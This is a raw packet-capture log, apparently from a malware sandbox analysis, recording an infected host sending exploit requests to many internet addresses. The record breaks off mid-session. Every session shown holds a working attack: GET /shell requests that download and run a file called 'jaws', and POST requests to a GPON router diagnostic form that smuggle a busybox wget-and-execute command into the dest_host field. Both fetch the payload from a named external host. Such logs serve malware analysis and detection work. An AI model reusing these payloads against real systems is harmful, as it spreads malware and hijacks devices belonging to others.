Apr 14, 2024 04:00:26.885792971 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.222004890 CEST	198	IN	HTTP/1.0 302 Found Location: http://127.0.0.1:80/002803133489/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Connection: close Content-Type: text/html; charset=iso-8859-1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1011	192.168.2.13	42836	72.167.55.19	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:27.321265936 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.500706911 CEST	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sun, 14 Apr 2024 02:00:27 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1012	192.168.2.13	33212	184.29.60.36	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:27.608930111 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.896904945 CEST	530	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 308 Expires: Sun, 14 Apr 2024 02:00:27 GMT Date: Sun, 14 Apr 2024 02:00:27 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 64 30 39 63 64 62 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 32 37 26 23 34 36 3b 36 61 38 65 66 35 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 64 30 39 63 64 62 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 32 37 26 23 34 36 3b 36 61 38 65 66 35 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.d09cdb17.1713060027.6a8ef5<P>https://errors.edgesuite.net/9.d09cdb17.1713060027.6a8ef5</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1013	192.168.2.13	54108	51.255.0.122	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:27.627856970 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.934740067 CEST	518	IN	HTTP/1.1 403 Forbidden Date: Sun, 14 Apr 2024 02:51:35 GMT Server: Apache/2.4.10 (Debian) Content-Length: 289 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 73 68 65 6c 6c 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /shellon this server.<br /></p><hr><address>Apache/2.4.10 (Debian) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1014	192.168.2.13	36748	5.39.219.157	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:27.644949913 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.969742060 CEST	233	IN	HTTP/1.1 302 Found Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Date: Sun, 14 Apr 2024 02:00:27 GMT Content-Length: 5 Content-Type: text/plain; charset=utf-8 Data Raw: 46 6f 75 6e 64 Data Ascii: Found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1015	192.168.2.13	45736	23.42.132.46	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:27.665307045 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:28.009443045 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:27 GMT Date: Sun, 14 Apr 2024 02:00:27 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 61 66 36 32 39 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 32 37 26 23 34 36 3b 35 66 64 38 33 36 33 39 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 61 61 66 36 32 39 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 32 37 26 23 34 36 3b 35 66 64 38 33 36 33 39 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.aaf62917.1713060027.5fd83639<P>https://errors.edgesuite.net/9.aaf62917.1713060027.5fd83639</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1016	192.168.2.13	43746	210.79.7.39	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904551983 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1017	192.168.2.13	55584	178.229.217.65	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904558897 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1018	192.168.2.13	44976	117.51.43.143	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904563904 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1019	192.168.2.13	52720	178.175.30.0	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904558897 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1020	192.168.2.13	38470	210.182.217.126	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904576063 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1021	192.168.2.13	42214	148.53.233.1	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904593945 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1022	192.168.2.13	45384	2.123.153.72	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904639006 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1023	192.168.2.13	39562	178.220.33.253	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904645920 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1024	192.168.2.13	38458	2.125.219.222	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904647112 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1025	192.168.2.13	57864	118.234.74.124	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904675961 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1026	192.168.2.13	54422	210.9.34.149	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904680014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1027	192.168.2.13	48466	2.189.76.19	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904702902 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1028	192.168.2.13	42080	109.145.8.63	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904735088 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1029	192.168.2.13	36070	178.45.73.192	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904752970 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1030	192.168.2.13	42106	42.156.113.14	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904783964 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1031	192.168.2.13	47636	117.22.215.84	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.904784918 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1032	192.168.2.13	36836	37.91.185.88	443

Timestamp	Bytes transferred	Direction	Data
